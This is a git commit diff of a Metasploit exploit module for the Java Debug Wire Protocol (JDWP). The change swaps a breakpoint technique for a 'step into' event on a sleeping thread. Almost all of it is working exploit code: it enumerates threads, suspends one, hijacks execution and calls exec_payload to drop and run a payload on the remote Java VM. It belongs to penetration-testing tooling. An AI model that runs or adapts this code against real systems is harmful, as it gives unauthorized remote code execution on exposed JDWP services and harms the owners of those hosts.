Modify breakpoint approach by step into
parent
73536f2ac0
commit
4f67db60ed
|
@ -49,7 +49,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
MODKIND_THREADONLY = 2
|
MODKIND_THREADONLY = 2
|
||||||
MODKIND_CLASSMATCH = 5
|
MODKIND_CLASSMATCH = 5
|
||||||
MODKIND_LOCATIONONLY = 7
|
MODKIND_LOCATIONONLY = 7
|
||||||
|
MODKIND_STEP = 10
|
||||||
EVENT_BREAKPOINT = 2
|
EVENT_BREAKPOINT = 2
|
||||||
|
EVENT_STEP = 1
|
||||||
SUSPEND_EVENTTHREAD = 1
|
SUSPEND_EVENTTHREAD = 1
|
||||||
SUSPEND_ALL = 2
|
SUSPEND_ALL = 2
|
||||||
NOT_IMPLEMENTED = 99
|
NOT_IMPLEMENTED = 99
|
||||||
|
@ -60,6 +62,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
TYPE_CLASS = 1
|
TYPE_CLASS = 1
|
||||||
TAG_ARRAY = 91
|
TAG_ARRAY = 91
|
||||||
TAG_VOID = 86
|
TAG_VOID = 86
|
||||||
|
TAG_THREAD = 116
|
||||||
|
STEP_INTO = 0
|
||||||
|
STEP_MIN = 0
|
||||||
|
THREAD_SLEEPING_STATUS = 2
|
||||||
|
|
||||||
|
|
||||||
def initialize
|
def initialize
|
||||||
|
@ -322,6 +328,21 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
version.downcase =~ /1[.]8[.]/
|
version.downcase =~ /1[.]8[.]/
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Returns reference for all threads currently running on target VM
|
||||||
|
def get_all_threads
|
||||||
|
sock.put(create_packet(ALLTHREADS_SIG))
|
||||||
|
response = read_reply
|
||||||
|
num_threads = response.unpack('N').first
|
||||||
|
response.slice!(0..3)
|
||||||
|
|
||||||
|
size = @vars["objectid_size"]
|
||||||
|
num_threads.times do
|
||||||
|
t_id = unformat(size, response[0..size-1])
|
||||||
|
@threads[t_id] = nil
|
||||||
|
response.slice!(0..size-1)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
# Returns reference types for all classes currently loaded by the target VM
|
# Returns reference types for all classes currently loaded by the target VM
|
||||||
def get_all_classes
|
def get_all_classes
|
||||||
return unless @classes.empty?
|
return unless @classes.empty?
|
||||||
|
@ -416,20 +437,54 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
return classname, method
|
return classname, method
|
||||||
end
|
end
|
||||||
|
|
||||||
# Resumes execution of the application after the suspend command or an event has stopped it
|
# Gets the status of a given thread
|
||||||
def resume_vm
|
def thread_status(thread_id)
|
||||||
sock.put(create_packet(RESUMEVM_SIG))
|
sock.put(create_packet(THREADSTATUS_SIG, format(@vars["objectid_size"], thread_id)))
|
||||||
response = read_reply
|
buf = read_reply(datastore['BREAK_TIMEOUT'])
|
||||||
|
unless buf
|
||||||
|
fail_with(Exploit::Failure::Unknown, "No network response")
|
||||||
|
end
|
||||||
|
status, suspend_status = buf.unpack('NN')
|
||||||
|
|
||||||
|
status
|
||||||
|
end
|
||||||
|
|
||||||
|
# Resumes execution of the application or thread after the suspend command or an event has stopped it
|
||||||
|
def resume_vm(thread_id = nil)
|
||||||
|
if thread_id.nil?
|
||||||
|
sock.put(create_packet(RESUMEVM_SIG))
|
||||||
|
else
|
||||||
|
sock.put(create_packet(THREADRESUME_SIG, format(@vars["objectid_size"], thread_id)))
|
||||||
|
end
|
||||||
|
|
||||||
|
response = read_reply(datastore['BREAK_TIMEOUT'])
|
||||||
unless response
|
unless response
|
||||||
fail_with(Exploit::Failure::Unknown, "No network response")
|
fail_with(Exploit::Failure::Unknown, "No network response")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
response
|
||||||
|
end
|
||||||
|
|
||||||
|
# Suspend execution of the application or thread
|
||||||
|
def suspend_vm(thread_id = nil)
|
||||||
|
if thread_id.nil?
|
||||||
|
sock.put(create_packet(SUSPENDVM_SIG))
|
||||||
|
else
|
||||||
|
sock.put(create_packet(THREADSUSPEND_SIG, format(@vars["objectid_size"], thread_id)))
|
||||||
|
end
|
||||||
|
|
||||||
|
response = read_reply
|
||||||
|
unless response
|
||||||
|
fail_with(Exploit::Failure::Unknown, "No network response")
|
||||||
|
end
|
||||||
|
|
||||||
|
response
|
||||||
end
|
end
|
||||||
|
|
||||||
# Sets an event request. When the event described by this request occurs, an event is sent from the target VM
|
# Sets an event request. When the event described by this request occurs, an event is sent from the target VM
|
||||||
def send_event(event_code, args)
|
def send_event(event_code, args)
|
||||||
data = [event_code].pack('C')
|
data = [event_code].pack('C')
|
||||||
data << [SUSPEND_ALL].pack('C')
|
data << [SUSPEND_EVENTTHREAD].pack('C')
|
||||||
data << [args.length].pack('N')
|
data << [args.length].pack('N')
|
||||||
|
|
||||||
args.each do |kind,option|
|
args.each do |kind,option|
|
||||||
|
@ -473,15 +528,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
# Parses a received event and compares it with the expected
|
# Parses a received event and compares it with the expected
|
||||||
def parse_event_breakpoint(buf, event_id)
|
def parse_event_breakpoint(buf, event_id, thread_id)
|
||||||
r_id = buf[6..9].unpack('N')[0]
|
|
||||||
|
|
||||||
return nil unless event_id == r_id
|
|
||||||
|
|
||||||
len = @vars["objectid_size"]
|
len = @vars["objectid_size"]
|
||||||
|
return false if buf.length < 10 + len - 1
|
||||||
|
|
||||||
|
r_id = buf[6..9].unpack('N')[0]
|
||||||
t_id = unformat(len,buf[10..10+len-1])
|
t_id = unformat(len,buf[10..10+len-1])
|
||||||
|
|
||||||
return r_id, t_id
|
return (event_id == r_id) && (thread_id == t_id)
|
||||||
end
|
end
|
||||||
|
|
||||||
# Clear a defined event request
|
# Clear a defined event request
|
||||||
|
@ -729,39 +783,35 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
# Sets a breakpoint on frequently called method (user-defined)
|
# Set event for stepping into a running thread
|
||||||
def set_breakpoint
|
def set_step_event
|
||||||
vprint_status("#{peer} - Setting breakpoint on class: #{datastore['BREAKPOINT']}")
|
# 1. Select a thread in sleeping status
|
||||||
|
t_id = nil
|
||||||
# 1. Gets reference of the method where breakpoint is going to be setted
|
@threads.each_key do |thread|
|
||||||
classname, method = str_to_fq_class(datastore['BREAKPOINT'])
|
if thread_status(thread) == THREAD_SLEEPING_STATUS
|
||||||
break_class = get_class_by_name(classname)
|
t_id = thread
|
||||||
unless break_class
|
break
|
||||||
fail_with(Failure::NotFound, "Could not access #{datastore['BREAKPOINT']}, probably is not used by the application")
|
end
|
||||||
end
|
end
|
||||||
|
fail_with(Failure::Unknown, "Could not find a suitable thread for stepping") if t_id.nil?
|
||||||
|
|
||||||
get_methods(break_class["reftype_id"])
|
# 2. Suspend the thread before setting the event
|
||||||
m = get_method_by_name(break_class["reftype_id"], method)
|
suspend_vm(t_id)
|
||||||
unless m
|
|
||||||
fail_with(Failure::BadConfig, "Method of Break Class not found")
|
|
||||||
end
|
|
||||||
|
|
||||||
# 2. Sends event request for this method
|
vprint_status("#{peer} - Setting 'step into' event in thread: #{t_id}")
|
||||||
loc = [TYPE_CLASS].pack('C')
|
step_info = format(@vars["objectid_size"], t_id)
|
||||||
loc << format(@vars["referencetypeid_size"], break_class["reftype_id"])
|
step_info << [STEP_MIN].pack('N')
|
||||||
loc << format(@vars["methodid_size"], m["method_id"])
|
step_info << [STEP_INTO].pack('N')
|
||||||
loc << [0,0].pack('NN')
|
data = [[MODKIND_STEP, step_info]]
|
||||||
|
|
||||||
data = [[MODKIND_LOCATIONONLY, loc]]
|
r_id = send_event(EVENT_STEP, data)
|
||||||
r_id = send_event(EVENT_BREAKPOINT, data)
|
|
||||||
unless r_id
|
unless r_id
|
||||||
fail_with(Failure::Unknown, "Could not set the breakpoint")
|
fail_with(Failure::Unknown, "Could not set the event")
|
||||||
end
|
end
|
||||||
|
|
||||||
r_id
|
return r_id, t_id
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
# Uploads & executes the payload on the target VM
|
# Uploads & executes the payload on the target VM
|
||||||
def exec_payload(thread_id)
|
def exec_payload(thread_id)
|
||||||
# 0. Fingerprinting OS
|
# 0. Fingerprinting OS
|
||||||
|
@ -799,6 +849,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
@vars = {}
|
@vars = {}
|
||||||
@classes = []
|
@classes = []
|
||||||
@methods = {}
|
@methods = {}
|
||||||
|
@threads = {}
|
||||||
@os = nil
|
@os = nil
|
||||||
|
|
||||||
connect
|
connect
|
||||||
|
@ -807,7 +858,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
fail_with(Failure::NotVulnerable, "JDWP Protocol not found")
|
fail_with(Failure::NotVulnerable, "JDWP Protocol not found")
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status("#{peer} - Retriving the sizes of variable sized data types in the target VM...")
|
print_status("#{peer} - Retrieving the sizes of variable sized data types in the target VM...")
|
||||||
get_sizes
|
get_sizes
|
||||||
|
|
||||||
print_status("#{peer} - Getting the version of the target VM...")
|
print_status("#{peer} - Getting the version of the target VM...")
|
||||||
|
@ -816,37 +867,34 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
print_status("#{peer} - Getting all currently loaded classes by the target VM...")
|
print_status("#{peer} - Getting all currently loaded classes by the target VM...")
|
||||||
get_all_classes
|
get_all_classes
|
||||||
|
|
||||||
print_status("#{peer} - Setting a breakpoint on #{datastore['BREAKPOINT']}...")
|
print_status("#{peer} - Getting all running threads in the target VM...")
|
||||||
r_id = set_breakpoint
|
get_all_threads
|
||||||
|
|
||||||
|
print_status("#{peer} - Setting 'step into' event...")
|
||||||
|
r_id, t_id = set_step_event
|
||||||
|
|
||||||
print_status("#{peer} - Resuming VM and waiting for an event...")
|
print_status("#{peer} - Resuming VM and waiting for an event...")
|
||||||
resume_vm
|
response = resume_vm(t_id)
|
||||||
|
|
||||||
secs = datastore['BREAK_TIMEOUT']
|
unless parse_event_breakpoint(response, r_id, t_id)
|
||||||
ret = ""
|
datastore['NUM_RETRIES'].times do |i|
|
||||||
datastore['NUM_RETRIES'].times do |i|
|
print_status("#{peer} - Received #{i+1} responses that are not a 'step into' event...")
|
||||||
print_status("#{peer} - Waiting for breakpoint hit #{i} during #{secs} seconds...")
|
buf = read_reply
|
||||||
if datastore['BREAKPOINT_PORT'] && datastore['BREAKPOINT_PORT'] > 0
|
break if parse_event_breakpoint(buf, r_id, t_id)
|
||||||
force_net_event
|
|
||||||
|
if i == datastore['NUM_RETRIES']
|
||||||
|
fail_with(Failure::Unknown, "Event not received in #{datastore['NUM_RETRIES']} attempts")
|
||||||
|
end
|
||||||
end
|
end
|
||||||
buf = read_reply(secs)
|
|
||||||
ret = parse_event_breakpoint(buf, r_id)
|
|
||||||
break unless ret.nil?
|
|
||||||
end
|
end
|
||||||
|
|
||||||
r_id, t_id = ret
|
|
||||||
|
|
||||||
vprint_status("#{peer} - Received matching event from thread #{t_id}")
|
vprint_status("#{peer} - Received matching event from thread #{t_id}")
|
||||||
|
print_status("#{peer} - Deleting step event...")
|
||||||
print_status("#{peer} - Deleting breakpoint...")
|
clear_event(EVENT_STEP, r_id)
|
||||||
clear_event(EVENT_BREAKPOINT, r_id)
|
|
||||||
|
|
||||||
print_status("#{peer} - Dropping and executing payload...")
|
print_status("#{peer} - Dropping and executing payload...")
|
||||||
exec_payload(t_id)
|
exec_payload(t_id)
|
||||||
|
|
||||||
print_status("#{peer} - Resuming the target VM, just in case...")
|
|
||||||
resume_vm
|
|
||||||
|
|
||||||
disconnect
|
disconnect
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue